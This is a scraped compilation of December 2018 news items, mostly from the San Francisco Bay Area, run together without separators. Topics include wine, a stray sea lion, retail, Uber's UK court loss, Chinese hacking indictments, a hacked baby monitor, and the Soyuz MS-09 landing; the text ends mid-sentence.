Spectators Jim Laube discovered an issue at Chateau Montelena.) Food Guide Top 25 Restaurants Where to eat in the Bay Area. Find spots near you, create a dining wishlist, and more. New wine column alert! After Michael Austin retired his Chicago Tribune byline, food reporter Joseph Hernandez has debuted a regular wine column in the Windy City paper. Welcome, Joey! (Fun and irrelevant fact: Joey and I are both veterans of Wine Enthusiast magazine.) The best-known winery in New Mexico, Gruet, is teaming up with an American Indian tribe, the Pueblo of Santa Ana, on a new winemaking venture that capitalizes on both Gruets technical knowledge and the Santa Ana Pueblos water rights. Its a great story by Katherine Cole. Vox attempts to explain the underlying cause of red wine teeth an affliction to which I am, tragically, especially sensitive. Randall Grahm is retiring his flagship Bonny Doon wine, Le Cigare Volant, and explains why in a blog post. (Actually, the wine will still exist, but it will just be different.) Grahm is instead focusing his efforts on his experimental vineyard, Popelouchum. (Heres more on that project.) Sign Up for the Newsletter Want to get the wine world in your inbox every week? Subscribe to Drinking with Esther. See More Collapse Finally: Happy holidays! If youre still looking for cooking inspiration, allow me to suggest some festive Nicaraguan tamales, classic San Francisco cioppino and a showstopper citrus trifle just a few of the recipes in The Chronicles holiday guide. Drinking with Esther is a weekly newsletter from The Chronicles wine critic. Follow along on Twitter: @Esther_Mobley and Instagram: @esthermob Update: 7:49 p.m. The Lick Observatory is saying a meteor caused the light. Writing on Facebook, the University of California-owned observatory, said a "bright meteor was visible in the skies over the Bay Area shortly after sunset this evening, leaving a bright trail that was visible for many minutes in the western sky. " A mysterious light in the sky that popped up over the Bay Area around 5:30 p.m. has people wondering whether it is the entrails from a rocket launch, a meteor entering the earth's atmosphere, space debris, a strange cloud formation, or the reentry of a Russian rocket. Some even jokingly said it was Santa on his sleigh. Oakland International Airport was visited by an uncommon traveler Thursday morning: a young California sea lion. Alameda County Sheriff deputies spotted the flippered mammal waddling near Airport Access Road around 2 a.m Thursday. Though the Oakland airport abuts the bay on its western side, the animal had seemingly traveled a fair distance on land. Using their flashlights and voices one deputy can be heard calling the sea lion "good boy" in a video of the encounter the deputies led the wayward animal back to the bay's waters. It didn't stay there. About four hours later, the sea lion was once again spotted doddering on airport land. Deputies called in backup. "We were concerned that maybe the sea lion was sick or lost or in need of assistance," said Sergeant Ray Kelly, a spokesperson for the Alameda County Sheriff's Office. With support from the U.S. Department of Agriculture's wildlife team and marine mammal experts, the sea lion was corralled into a kennel and transported to the Marine Mammal Center in Sausalito for evaluation. Nicknamed Cruizin by Marine Mammal Center staff, the young sea lion is currently resting in the hospital's intensive care and quarantine unit, where all animals spend at least 12 hours upon arrival. Emily Whitmer, the Marine Mammal Center's Koret Foundation Veterinary Intern, said the sea lion will be evaluated tomorrow, though it appeared "fairly skinny," as though it hasn't been able to sufficiently feed itself in the wild. "It was probably separated from its mom earlier than it should have been," Whitmer said. Officials aren't certain how or why the sea lion came to the airport Kelly joked the animal was hoping to catch a last-minute flight to Hawaii for the holidays but they agree such a sight is unusual. "I've been here 23 years, and I've never seen a sea lion at the airport before," Kelly said. During their brief encounter with the critter, deputies grew fond of it and could "see its personality," Kelly said. "It's almost like a dog." Whitmer said Cruizin's story should serve as a reminder to the public to leave marine marine mammals alone, especially with the forthcoming spring pupping season. The center asks the public to keep ample distance from marine mammals in the wild or otherwise a good rule of thumb is to stay far enough away from the animal that you must use the zoom function on your phone camera and to call the center at 415-289-7325 if you encounter an animal that appears to be in distress. Read Michelle Robertson's latest stories and send her news tips at mrobertson@sfchronicle.com. Start receiving breaking news emails on wildfires, civil emergencies, riots, national breaking news, Amber Alerts, weather emergencies, and other critical events with the SFGATE breaking news email. Click here to make sure you get the news. Online retailers are getting physical. A growing number of brands born on the internet are now opening brick-and-mortar stores and moving into the suburban malls once considered doomed as more Americans shopped online. But theyre taking it even further by doubling-down on the tactile experience. Online mattress retailer Casper, for instance, is opening stores that allow customers to book naps and test out mattresses before buying. Indochino the online tailor decided to borrow from the old Savile Row model where customers can be measured face-to-face for custom suits. Online brands have embraced clicks-to-bricks, said Faith Hope Consolo, chairwoman of Prudential Douglas Ellimans retail division. Shoppers love to touch, interact and try on in person, and malls are upping the ante by offering immersive experiences that are exciting and memorable. The store openings mark a major shift for formerly online-only brands that just a few years ago believed they didnt need a physical presence to generate robust sales growth. Digital natives are now finding that the cost of acquiring new customers online is soaring as competition for eyeballs has increased the cost of online ads on Google and other platforms. At the same time, opening a store has become more affordable as higher mall vacancies have prompted landlords to offer flexible leases and other perks. It can be 10 times more expensive to acquire a new customer online as it is with a physical store, said Jim Ward, who heads up recruiting for online brands for mall owner CBL. There are now roughly 600 stores across the country from these online natives, according to Green Street Advisors, a real estate research firm. Bonobos, which now has 60 stores and sells mens clothing, plans to have 100 by 2020. Online eyewear retailer Warby Parker, which opened its first store in 2013, will have nearly 100 stores by the end of December. Others are following suit. Casper plans to have about 200 stores in the next two to three years, up from the current 20. And Fabletics, an active sportswear brand co-founded by celebrity Kate Hudson, aims to quadruple the number to 100. For a brand thats less than 10 years old, new store openings mean a 45 percent increase on average in online traffic, says a recent survey by International Council of Shopping Centers. But not every mall is benefiting from the shift by online retailers. Digital brands are clustering in top-tier shopping centers, making an increasingly large gap between the poshest of malls and those struggling to fill vacancies. While many online brands are planting stores in tourist destinations around New York and Los Angeles, theyre also opening stores in Oklahoma City and Birmingham, Ala. Were not considering anything outside of the premier malls, said Dave Gilboa, co-founder and co-CEO of Warby Parker. The physical stores often provide a level of convenience that the web lacks. At the upscale Mall at Short Hills in New Jersey, college student Calev Glick, 20, stopped by Indochino on a recent Friday to get measured for a suit for synagogue. He considers himself an Amazon guy because he doesnt have much time to go out shopping. At a traditional department store, you kind of hope it fits, Glick said. Here, I am getting all the help I need. I am going to be here two hours and Im going to get it shipped to my house. Digital natives still account for a tiny fraction of mall tenants, yet they could soon have a material effect on mall revenues, says Bill Taubman, chief operating officer of mall operator and owner Taubman Centers. Ron Harries, head of retail for Fabletics, said that opening physical stores wasnt in the companys original plan in late 2014, but it realized that a physical location could acquire customers more efficiently. This gives you an opportunity to reach customers who are not shopping online, Harries said. In fact, Fabletics enjoys a 2 times increase in revenue from its most active customers within a 30-mile radius of a Fabletics store. Customers who live near a store are more likely to return an online purchase at that store, Harries said. That creates more opportunity for an extra sale. The sportswear company also electronically tags items in its stores and tracks what went in and out of the fitting room so it can learn which items shoppers were most likely to try on but not purchase. Online retailers are also finding that they can provide a fuller, more immersive set of customer services at physical stores than they could on web browsers. At Indochino, customers first get measured by a stylist. Then they inspect 200 different fabrics in suits and select different styles before having it shipped for free two to three weeks after purchase. The price of a suit is $400 to $500, and any extra tailoring is free of charge. We want customers to feel that they created a one-of-a-kind garment that they cant get anywhere else, said Drew Green, CEO of Indochino, noting hes pulling customers who had been loyal to a traditional brand at the mall. I believe we are providing a disruptive, alternative experience. Anne DInnocenzio is an Associated Press writer. LONDON Uber pledged Wednesday to challenge a British Court of Appeal decision that drivers should be classed as workers rather than self-employed employees, a verdict that has potentially wide-ranging implications for the rapidly growing gig economy and the rules that govern it. The challenge sets up a showdown in Britains Supreme Court that will determine whether the drivers will be able to claim the rights open to workers such as the minimum wage and paid holidays. Unions rejoiced at Ubers third loss in the courts on the issue, and said it is an early Christmas present for those working in the gig economy, where people work job-to-job with little security and few employment rights. Were now at a hat trick of judgments against Uber, they keep appealing and keep losing, said Tim Roache, the general-secretary of the GMB union. Uber should just accept the verdict and stop trying to find loopholes that deprive people of their hard-won rights and hard-earned pay. The San Francisco company, which has sought under its new CEO Dara Khosrowshahi to improve its image, pointed out that the decision was not unanimous and does not reflect the reasons why the vast majority of drivers choose to use the Uber app. It added that were drivers to be classified as workers, then it would be inevitable that they would lose freedom and flexibility. Over the last two years weve made many changes to give drivers even more control over how they use the app, alongside more security through sickness, maternity and paternity protections, the company said. Well keep listening to drivers and introduce further improvements. Though the ruling will not apply to employees outside the country, it is part of a trend in which regulators are more closely scrutinizing a quickly evolving workplace and challenging traditional employment models. Only this week, Britain published its Good Work Plan, promising to clarify the tests around employment status as suggested by the landmark Taylor Review last year. Though the suit was brought by two employees, the case has implications for the 50,000 drivers who use the platform. Lawyers are also watching not just because of Ubers massive global footprint, but because some 1.1 million people in the United Kingdom are estimated to work in the gig economy. The numbers involved mean that any future decision could have an impact on the viability of Ubers business model and pricing, according to Rachel Farr, a senior employment lawyer at the international law firm Taylor Wessing, which is not involved in the case. Ubers competitors and businesses in the gig economy will also be considering what this means for them, while the decision will have given hope to those who believe they are workers who deserve a better deal, she said. But just because Uber lost, it doesnt mean that others will. Each case will be considered on its specific facts, including the contractual terms between the parties and what actually happens in practice. Uber has expanded rapidly around the world by positioning itself as the alternative to traditional taxis through a smartphone app that links people in need of rides with drivers of private cars. That has drawn protests from taxi drivers who say Uber and similar services are able to undercut them. Some companies have argued that the gig system provides lifestyle benefits for people who want flexibility, but the arrangements also allow companies to avoid many expenses associated with hiring full-time employees. Danica Kirka is an Associated Press writer. A federal judge in San Francisco has given final approval to a $480 million deal that settles a shareholder class-action lawsuit against Wells Fargo over the banks unauthorized accounts scandal. The deal, reached in May and given preliminary approval in September, would compensate Wells Fargo shareholders for losses they incurred after the banks 2016 admission that employees might have created millions of unauthorized accounts. The settlement will pay shareholders who bought Wells Fargo stock between Feb. 26, 2014, and Sept. 20, 2016. During that period, Wells Fargo shares traded for as much as $53, but later sank as low as $41. The San Francisco finance giant will pay $480 million, nearly $96 million of which in fees and expenses will go to the attorneys who worked on the case. If all eligible shareholders participate in the settlement, the payout would amount to 35 cents per share. Shareholders, including lead plaintiff Union Asset Management, sued for securities fraud in 2016, alleging that Wells Fargo executives had improperly inflated the companys stock price by touting the banks prowess at cross-selling getting customers to sign up for numerous accounts and services. The banks focus on cross-selling was later blamed for the aggressive sales quotas that pushed thousands of workers to open accounts without customers authorization. Shareholders argued that executives continued to brag about cross-selling even once it was clear those quotas were corrupting, rather than reinforcing, Wells Fargos purported corporate values and cross-selling business model, according to court filings. In a statement Wednesday announcing the settlements final approval, the bank said it was pleased to have the case resolved and noted that it has not admitted wrongdoing. The company has denied the claims and allegations in the action and entered into the settlement agreement to avoid the cost and disruption of further litigation, according to the statement. Investors who believe they are eligible for the settlement have until Jan. 23 to file claims at www.wellsfargosecuritieslitigation.com or by calling 855-349-6457. This is the second major class-action settlement for the bank in the wake of the accounts scandal. In May, another federal judge signed off on a $142 million settlement for bank customers who paid improper fees or had their credit scores dinged by the banks practices. James Rufus Koren is a Los Angeles Times writer. Carnival Cruise Line, which plans to expand in California in the next couple of years, said it will base one of its ships in San Francisco for the first time in 2020, offering a series of sailings to Mexico, Alaska and Hawaii. Among the major cruise lines, Carnival is one of the largest and most aggressive when it comes to pricing, so expect to see plenty of deals. Currently, Princess Cruises is the main player when it comes to voyages from San Francisco Bay, but many others call on the port. Here's a list of all cruise lines calling on San Francisco in 2018. Carnival's San Francisco cruises will range in length from four to 15 days, depending on the itinerary, and will operate in the spring and summer of that year. It will deploy the 2,124-passenger Carnival Miracle for the San Francisco sailings the same ship that will sail out of San Diego during 2019 in a series of cruises that the line said has already been seeing "a strong reception" from customers. Considering that customer response, Carnival said that in addition to scheduling the San Francisco sailings, it will bring the Carnival Miracle back to San Diego in the winter of 2020-2021 and will deploy the Carnival Panorama on cruises out of Long Beach in December 2019. What's the big advantage of taking a cruise that leaves from your hometown? Logistical convenience and time savings. You don't have the added expense and hassle of flying to and from the departure port, maybe booking a hotel there for the night before the cruise to make sure you don't miss the ship, and you don't have to haul a bunch of luggage to the plane and the ship just toss it in the back of an Uber to the local cruise terminal, where porters will put it on the ship for delivery to your cabin. And it's a pretty cool feeling to cruise out of the bay under the Golden Gate Bridge! The mix of cruises to be offered from San Francisco includes four-day "long weekend" trips (Thursday to Monday) to Ensenada, Mexico; longer five- and six-day sailings that go to Ensenada, Catalina and San Diego; a 15-day cruise leaving April 15, 2020, that visits several destinations in the Hawaiian Islands; and a series of 10-day summer cruises to Alaska. Due to a federal regulation called the Passenger Vessel Services Act, foreign-flagged ships that depart San Francisco must make a stop in another country first before stopping at another US port. Since Carnival's ships are flagged in other countries, Alaskan cruises usually stop in Vancouver first. Hawaii and West Coast cruises stop in Ensenada, Mexico. The four-day Ensenada cruises start as low as $379 per person, double occupancy (plus taxes, fees and port expenses); five-day Mexico/California voyages start at $449, while the six-day version is priced from $529; beginning rates on the Alaska sailings are $1,099 per person; and the Hawaii cruise starts at $1,429. Prices vary depending on the departure date and the level of cabin selected. You can find more information about Carnival's SF sailings here. Have you ever taken a Carnival cruise? How was it? Would you take a cruise from the Port of San Francisco? Please leave your thoughts in the comments. Read all recent TravelSkills posts here Get twice-per-week updates from TravelSkills via email! Sign up here Chris McGinnis is the founder of TravelSkills.com. The author is solely responsible for the content above, and it is used here by permission. You can reach Chris at chris@travelskills.com or on Twitter @cjmcginnis. / One man is dead and another hospitalized in critical condition after a Tuesday night shooting in front of a Richmond home, authorities said. The shooting occured around 10:52 p.m. in a driveway at 2535 Andrade Avenue, said Richmond police Lt. Matthew Stonebraker. Responding officers administered first aid to one of the victims when they found him unconscious, but he was soon pronounced dead at the scene. Michelle Obama is on fire with her NY Times bestselling memoir, "Becoming," and her sell-out tour across the country. At each stop, she continues to give fashion journalists something to talk about when it comes to her style. Take her recent stop at the Barclays Center in Brooklyn, where she was interviewed on stage by Sarah Jessica Parker. The former First Lady took to the stage in head-to-toe Balenciaga, from the golden gown to the thigh-high gold, glittery stiletto boots. Even friend and former President Obama advisor Valerie Jarrett posted on Instagram a photo of Obama wearing the boots with the caption, "Who wouldn't dream to be able to have these boots?" A man who led North Bay police officers on a pursuit on Highway 37 was successfully apprehended after he ran into a marsh and got stuck in the mud. The man, identified by the American Canyon Police Department as Adam Banks, 29, had to be airlifted out of the marsh by local CHP. A major movie about the invasive presence of technology will soon be set in a very predictable place: San Francisco. The film, called "Lexi," revolves around a man played by Adam Devine ("Workaholics," "Pitch Perfect") who, according to Variety, "falls in love with an A.I. who appears throughout his smart devices." As a single mother, Beatrice Duran never imagined that she would get involved in politics. When she moved to Las Vegas in 1985, her focus was on keeping a solid job as a food server to provide for her young daughter and, later, her son. Opportunities to become involved in public life felt out of reach. WASHINGTON U.S. officials say two Chinese citizens acting on behalf of their countrys main intelligence agency carried out an extensive hacking campaign to steal data from military service members, government agencies and private companies in the United States and nearly a dozen other nations. It was the latest in a series of Justice Department indictments targeting cyber espionage from Beijing. The two are accused of breaching computer networks in a broad swath of industries, including aviation and space, banking and finance, oil and gas exploration and pharmaceutical technology. Prosecutors say they also compromised the names, Social Security numbers and other personal information of more than 100,000 Navy personnel. All told, prosecutors say, the alleged hackers identified as Zhu Hua and Zhang Shillong stole hundreds of gigabytes of data, breaching computers of more than 45 entities in 12 states. They are not in custody. U.S. law enforcement officials described the case as part of a trend of state-sponsored hackers breaking into American networks and stealing trade secrets and confidential and valuable information. More than 90 percent of Justice Department economic espionage cases over the past seven years involve China, said Deputy Attorney General Rod Rosenstein, and more than two-thirds of trade secrets cases are connected to the country. Chinas state-sponsored actors are the most active perpetrators of economic espionage, FBI Director Chris Wray said Thursday in announcing the case. While we welcome fair competition, we cannot and will not tolerate illegal hacking, stealing or cheating. Last week, officials from the Justice Department, the FBI and the Department of Homeland Security testified to the Senate Judiciary Committee that China is working to steal trade secrets and intellectual property from U.S. companies in order to harm Americas economy and further its own development. Those efforts have continued even after Beijing committed in 2015 to halting the theft of trade secrets following a first-of-its-kind indictment that accused Chinese hackers of stealing corporate data from brand-name U.S. companies. We want China to cease illegal cyber activities and honor its commitment to the international community, but the evidence suggests that China may not intend to live up to its promises, Rosenstein said. In recent months, the Justice Department has filed separate cases against several Chinese intelligence officials and hackers. A case filed in October marked the first time that a Chinese Ministry of State Security officer was extradited to the United States to stand trial. Chinese espionage efforts have become the most severe counterintelligence threat facing our country today, Bill Priestap, assistant director of the FBIs counterintelligence division, told the Senate committee. As the U.S. was announcing its charges Thursday, the British government accused China of conducting a widespread and significant campaign of cyberespionage against Britain and its allies. Michael Balsamo and Eric Tucker are Associated Press writers. A Memorial area family said an unknown suspect hacked into their Nest baby monitor Monday night and threatened to kidnap their baby, according to reports from Click2Houston. The family told media outlets they heard a voice coming from the wireless monitor right next to their bed. The monitor transmits sound coming from their 4-month-old's room upstairs. "Then we heard sexual expletives being said in his room," Ellen Rigney told Click2Houston. "Immediate reaction was that there's somebody in here, somebody's in my son's room! How did they get in there?!" The couple told media outlets then they heard the voice saying "I'm going to kidnap your baby, I'm in your baby's room." The couple said they realized someone was not in fact in the room, but hacking their WiFi camera system. After checking on their 4-month-old they quickly turned off their Wi-Fi system, according to reports. CYBER-DOOR: There Is a Creepy Side to Those 'Smart' Toys and Appliances On Your Gift List Rigney told the Chronicle her family wanted "to bring the situation to light to help protect other families in the future," but refused to comment further. Officials with the Harris County Sheriff's Office said Harris County Constable Precinct 5 responded to the incident. Requests for comment from Precinct 5 officials were not met as of Tuesday morning. Devices with built in cameras connected to a Wi-Fi network are considered potentially dangerous and susceptible to hacking, according to a previous Chronicle article. Residents are urged to be weary of Internet-connected "smart" toys and devices. "Combined with the fact that children can easily be preyed-upon, shoppers should take great caution when selecting any internet-embedded technology device for a child," a previous Chronicle article stated. According to the Chronicle article, parents should buy devices from reputable companies, make sure to buy devices with the latest spyware protection installed and always use unique passwords for every system or device. Rebecca Hennes covers community news. Read her on our breaking news site, Chron.com, and on our subscriber site, houstonchronicle.com. | rebecca.hennes@chron.com | Text CHRON to 77453 to receive breaking news alerts by text message LONDON Hackers have spent years eavesdropping on the diplomatic communications of European Union officials, a U.S. cybersecurity firm said Wednesday, an operation disrupted only after researchers discovered hundreds of intercepted documents lying around on the internet. The documents were discovered a few months ago after a malicious email was caught by Redwood Citys Area 1 Security firm, according to company co-founder Blake Darche. He said the firm followed forensic clues in the message back to an unsecured server that had about 1,100 EU diplomatic cables. Darche said he believed that tens of thousands more such documents have been stolen. We estimate that the ones we found are a small fraction of the overall operation, he said. From what we can see, the EU has a significant problem on their hands. Darche said the hackers are working for Chinas Peoples Liberation Army, a judgment he said was based on eight years spent observing the group. A report published by the group Wednesday laid out the hackers modus operandi, but attribution is notoriously fickle and others in the field voiced skepticism. Calls to Chinas mission to the European Union were not returned Wednesday. Beijing has in the past denied similar reports. EU officials are taking the report extremely seriously but it is impossible to comment on leaks, European Commission Vice President Valdis Dombrovskis told reporters in Brussels. All communication systems have vulnerabilities, so were constantly dealing with this challenge, he said. Dombrovskis identified the system hit by the leaks as one managed by the European Councils secretariat, which represents EU member states in Brussels, rather than the commission itself. In an email, the council acknowledged what it described as a potential leak of sensitive information and said it was investigating. It offered no further comment. The New York Times, which first reported on the breach, published excerpts of the diplomatic cables that it obtained from Area 1. Some of the messages appeared to capture European officials struggling to deal with the erratic movements of President Trump. One such document appeared to capture a senior European official in Washington recommending that envoys from EU member nations work around Trump by dealing directly with Congress. In another apparent message, European diplomats described a summit between Trump and Russian President Vladimir Putin in Helsinki, Finland, as successful (at least for Putin). Raphael Satter is an Associated Press writer. Space News space history and artifacts articles Messages space history discussion forums Sightings worldwide astronaut appearances Resources selected space history documents advertisements Soyuz MS-09 returns station crew to Earth after 197 days in space December 20, 2018 A cosmonaut and two astronauts have safely landed from the International Space Station, returning to Earth on board a spacecraft that had been the source of a leak aboard the orbiting outpost. Sergey Prokopyev of Roscosmos, Alexander Gerst with the European Space Agency (ESA) and Serena Aunon-Chancellor of NASA touched down Thursday (Dec. 20) aboard Russia's Soyuz MS-09 spacecraft. Their landing at 12:02 a.m EST (0502 GMT or 11:02 a.m. local time) southeast of the town of Dzhezkazgan, Kazakhstan, brought the three crew members home after 197 days in space. The Soyuz descent module was met shortly after landing upright on the snowy Kazakh steppe by Russian, NASA and ESA teams, who helped Prokopyev, Gerst and Aunon-Chancellor exit the capsule and begin their readjustment to gravity. Prokopyev, Gerst and Aunon-Chancellor began their return with the undocking of the Soyuz MS-09 spacecraft from the station's Rassvet module on Wednesday (Dec. 19) at 8:40 p.m. EST (0140 GMT Dec. 20). About three hours later, after a de-orbit burn put the spacecraft on a path to re-entry, the crew aboard the descent module separated from the Soyuz's service and orbital modules, leaving the spent sections to burn up in the atmosphere. A small hole in the orbital module was determined to be the source of a pressure leak that briefly plagued the space station in late August. Following the advice of flight controllers on the ground, Prokopyev applied epoxy to a gauze wipe to plug the hole, which successfully stopped the leak. On Dec. 11, eight days before undocking, Prokopyev joined cosmonaut Oleg Kononenko on a nearly 8-hour spacewalk to cut into the orbital module's insulation to find the corresponding hole in the hull's exterior. The spacewalkers collected samples of the extruded epoxy residue to return to Earth in an effort to determine the still unknown cause of the damage. Kononenko with Roscosmos, NASA astronaut Anne McClain and David Saint-Jacques of the Canadian Space Agency, who arrived at the station on Dec. 3 and served as members of the Expedition 57 crew under Gerst's lead, remain aboard the orbiting laboratory. The departure of Soyuz MS-09 marked the completion of Expedition 57, the space station's 57th crew contingent since Expedition 1 took up residency in November 2000. Gerst turned over command to Kononenko on Tuesday (Dec. 18), and continued a tradition by passing his successor a symbolic key to the space station, a tool used to open and close the hatch of the Soyuz. "Expedition 57 is coming to a successful end," said Gerst during a brief change of command ceremony. "Despite some of the challenges that we had, in every one of these situations we were able to come together, the international partners, the crews, the control centers, and do what we are really good at as this international cooperation, to adapt to challenges, to changes and turn all situations to the best." "We also were able to complete a great scientific program," added Gerst. "We had about 300 scientific experiments. We looked at new materials, investigated climate change, observed life cells, worked on cancer medication to improve treatments against cancer, improved treatments for Parkinson's and Alzheimer's disease, did plasma and quantum physics and last but not least tested new technologies that will enable us to go further to the moon and Mars." The Expedition 56/57 crewmates also oversaw the arrivals and departures of eight uncrewed cargo vehicles, including two SpaceX Dragon capsules, two Northrop Grumman Cygnus freighters, a Japanese H-II Transfer Vehicle and three Russian Progress spacecraft. In addition to his spacewalk to investigate the hole in Soyuz MS-09, Prokopyev also conducted an extravehicular activity with cosmonaut Oleg Artemyev to deploy four small satellites and retrieve experiments mounted on the Russian segment of the space station. This was Prokopyev's and Aunon-Chancellor's first mission and Gerst's second. With a total of 362 days in orbit, Gerst now holds the flight duration record among ESA astronauts. The three Soyuz MS-09 crew members will now return to their respective space agencies after a brief flight by helicopter to a recovery staging area in southern Kazakhstan. From there, Prokopyev will depart for Star City, outside of Moscow, Aunon-Chancellor and Gerst will fly by NASA jet to a refueling stop in Norway, where Aunon-Chancellor will continue on to the Johnson Space Center in Houston and Gerst will be flown to the European Astronaut Centre in Cologne, Germany. Three more Expedition 58 crew members, Aleksey Ovchinin of Roscosmos and NASA astronauts Nick Hague and Christina Koch, are scheduled to launch to the space station on Soyuz MS-12 on Feb. 28, 2019. Soyuz MS-09 was the 55th Russian Soyuz spacecraft to fly to the International Space Station. It traveled a total of 83.3 million miles (134 million kilometers) over the course of 3,152 orbits of Earth. The Soyuz MS-09 spacecraft is seen after landing on the steppe of Kazakhstan after 195 days at the space station. (Roscosmos) Alexander Gerst, Sergey Prokopyev and Serena Aunon-Chancellor are seen after landing aboard Soyuz MS-09. (NASA/Bill Ingalls) Soyuz MS-09 undocks from the Rassvet module at the International Space Station after 197 days in orbit. (NASA TV) Soyuz MS-09 crew patch. (Roscosmos/Spacepatches.nl) NASA astronaut Serena Aunon-Chancellor is helped out of the Soyuz MS-09 spacecraft just minutes after she, Sergey Prokopyev of Roscosmos and Alexander Gerst of the European Space Agency landed in a remote area of Kazakhstan on Thursday, Dec. 20, 2018. (NASA/Bill Ingalls) 2021 collectSPACE.com All rights reserved. HAYWARD (BCN) A Hayward High School teacher and his students today will be finishing a mural at the school in support of immigration freedom in North America. According to Andrew Kong Knight, an art instructor at the high school and an East Bay artist when he isn't teaching, he and his students will be finishing the mural today. The mural features 13 monarch butterflies on wooden panels that are intended to stand for immigration freedom at the United States' borders with Canada and Mexico. "My students and I wanted to bring attention to the fact that we still have 140 children in detention camps that were illegally separated from their parents at our borders," Knight said in a statement. "Each butterfly represents 11 kids still separated." Knight said the hope is that some of the kids still detained by immigration authorities will be released and see their parents again. According to Knight, the butterflies will be permanently placed on a 50-foot sound wall at the intersection of West Tennyson Road and Patrick Avenue in south Hayward later this month. Copyright 2018 by Bay City News, Inc. Republication, Rebroadcast or any other Reuse without the express written consent of Bay City News, Inc. is prohibited. SAN LEANDRO (BCN) An Oakland man known as the "Teddy Bear Bandit" pleaded no contest today to second-degree commercial burglary for burglarizing a flower shop in San Leandro in October, according to court records. Andre Benny Murphy, 46, entered his plea in Alameda County Superior Court in Dublin shortly after San Leandro issued a news release announcing that he had been arrested in Oakland last Friday. San Leandro police said they dubbed Murphy the "Teddy Bear Bandit" after East Bay Flowers at 1200 E. 14th St. was burglarized at about 2 a.m. on Oct. 11. Police said Murphy used a BB-style handgun to shoot out the front glass windows to the shop, entered the store and stole numerous flowers and stuffed animals. The entire incident was captured on the store's video surveillance system, according to police. Lt. Isaac Benabou said detectives began investigating the case and received a lead from another police agency that led them to Murphy. During the investigation some of the stuffed teddy bears were found at a female's home in Alameda and a warrant was issued for Murphy's arrest, Benabou said. Several other law enforcement agencies are also investigating Murphy for similar burglaries, according to police. "The case is an example of how law enforcement agencies network together, sharing information to solve cases," Benabou said in a statement. He said, "We know that the suspect had given the stolen flowers and stuffed animals to a female friend. Now, the teddy bear bandit will have to find other ways to show his affection." Court records indicate that Murphy has numerous prior felony convictions but as part of his plea agreement today they were stricken from his record for sentencing purposes, which means that they won't be used to increase his sentence. Murphy remains in custody at the Santa Rita Jail in Dublin in lieu of $185,000 bail and is scheduled to be sentenced on Jan. 18. Copyright 2018 by Bay City News, Inc. Republication, Rebroadcast or any other Reuse without the express written consent of Bay City News, Inc. is prohibited. SAN FRANCISCO (BCN) San Francisco Mayor London Breed today confirmed she has asked outgoing Gov. Jerry Brown to reduce the prison sentence of her brother--who is currently in prison for a manslaughter conviction. According to court documents, Breed's brother Napoleon Brown was initially convicted in 2005 of murder, robbery and carjacking and sentenced to 44 years in prison. But in 2011 his murder charge was amended to involuntary manslaughter and his sentenced was reduced to 42 years. The charges stem from a robbery in June 2000 of a San Francisco restaurant, in which 25-year-old Lenties White was pushed out of the getaway vehicle on the Golden Gate Bridge. White was subsequently struck by a vehicle and killed. But before she died, according to the court documents, she named Brown as her killer. Brown, now 46, is serving his sentence at California State Prison, Solano in Vacaville and won't be eligible for parole until 2032, according to prison records. Speaking today at the reopening of a public housing complex in the city's North Panhandle area, Breed said, "My thoughts go out to the family of Lenties White. I know members of the family; I'm very close with them. I know that the situation has sadly opened up a lot of old wounds and it's a tragic situation. "Part of why I wrote the letter had everything to do with what I've always stood for," Breed said. "With the all the work that I've done over the years to help and serve others, especially in the Western Addition community, when I was asked to write another letter, I was of course concerned that as mayor this could backfire... I wasn't necessarily trying to hide anything but I was concerned. I talked it over with my family, my community, my advisors and others," she said. "Basically, I came to the conclusion that whether I was mayor or not, 'is this something that I should do?' and the answer is yes." According to Breed, this is not the first time she has written a letter on her brother's behalf. In the past she's written to the judge during his appeal process. "I wasn't an elected official at the time and so it wasn't even a question to write those letters," she said. Breed also stressed that writing a letter to Gov. Brown was just one step in what would be a long and public process involving the state's Board of Parole Hearings and the California Supreme Court. Since her time as supervisor, Breed has been open about challenges she's faced growing up: being raised by her grandmother in public housing in the city's Western Addition and losing friends to gun violence as well as her sister to a drug overdose. "Here I am coming from this community of people that I love, where we've suffered so much loss through death, through destruction, through the criminal justice system, here I am as mayor and regardless of whether or not he's my brother, I have an obligation to also shine a light on these things. I've never shied away from the challenges that have existed with my family," she said. According to court records in the White case, in 2000 Breed provided an alibi for her brother, saying that he had been sleeping at her grandmother's house the time of the robbery and death. Regarding reports that Brown was found to be in possession of heroin in prison last year, Breed said, "It's sad but it's unfortunate, my brother has a drug problem. He's been in jail almost 20 years and he still has a drug problem so again we have what is a serious problem with our criminal justice system and people who suffer from substance abuse disorder and mental illness not getting into treatment. "I'm not here to make excuses for some of the things my brother has done in his past and I think that it's important that anyone who commits crimes pays the appropriate price," she said. Copyright 2018 by Bay City News, Inc. Republication, Rebroadcast or any other Reuse without the express written consent of Bay City News, Inc. is prohibited. SAN FRANCISCO (BCN) Mayor London Breed and Supervisor Vallie Brown joined community members in San Francisco's North Panhandle neighborhood on Wednesday to celebrate the reopening of 97 public housing units - all completely rehabilitated. The 12-story residence at 1750 McAllister Street was renovated under the U.S. Department of Housing and Urban Development's Rental Assistance Demonstration program, also known as RAD. The residence serves seniors and people with disabilities. "Many of you know that I grew up in public housing, under some of the most challenging circumstances, but also some of the most terrible conditions," Breed said of her upbringing just blocks away at the city's Plaza East Apartments public housing complex. "The conditions that have existed since I lived there: the mold, the busted pipes, the messed up bathrooms, the roaches; when you have had to live like that for over 20 years of your life there is nothing that's going to be more important to you than to changing the conditions for the people who still unfortunately have to live like that," she said. Renovations to the residence included replacing fixtures and finishes inside the units, fire and safety upgrades, elevator modernization, reconfiguration of staff offices as well as new outside landscaping, among other improvements. During the renovations, the buildings' 120 residents were temporarily displaced. Under the RAD program, the organization Community Housing Partnership will own, maintain and provide services for the residents, like case management, counseling, workshops, crisis intervention, treatment and health related programs. "When you're a senior and you're disabled, this city is cruel and hard and so we need places like this," Brown said. The renovated building has been renamed Rachel Townsend Apartments in honor of community advocate Rachel Townsend, who passed away earlier this year at 38 years old. Known for helping organize the annual festival San Francisco Juneteenth, Breed remembered Rachel as "someone who worked her butt off for this community. "She was one of the sweetest persons you would ever meet and the problem is that she would never say no," she said. Copyright 2018 by Bay City News, Inc. Republication, Rebroadcast or any other Reuse without the express written consent of Bay City News, Inc. is prohibited. SAN FRANCISCO (BCN) Police are on the lookout for a man who allegedly brutally assaulted another man on Tuesday afternoon in San Francisco's Tenderloin neighborhood. The attack occurred around 1 p.m. in the first block of Mason Street, police said. The suspect allegedly punched the victim, a 38-year-old man, causing the victim to fall on the sidewalk. The suspect then stomped on the man's head, according to police. Police were unable to locate the 